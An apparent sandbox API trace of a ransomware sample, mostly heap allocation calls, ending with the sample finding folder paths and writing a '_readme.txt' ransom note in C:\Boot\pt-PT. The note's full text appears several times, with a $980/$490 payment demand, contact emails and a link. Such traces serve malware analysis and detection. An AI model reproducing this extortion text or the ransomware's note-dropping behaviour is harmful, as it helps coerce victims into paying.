[0066.541] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.542] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.543] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.544] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.545] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.545] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.546] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0066.546] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.546] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.546] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.546] PathFindFileNameW (pszPath="") returned="" [0066.546] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.547] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.547] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.547] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.547] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.547] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.547] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.547] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0066.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.547] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.547] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0066.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.547] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.547] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.547] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.548] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.549] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 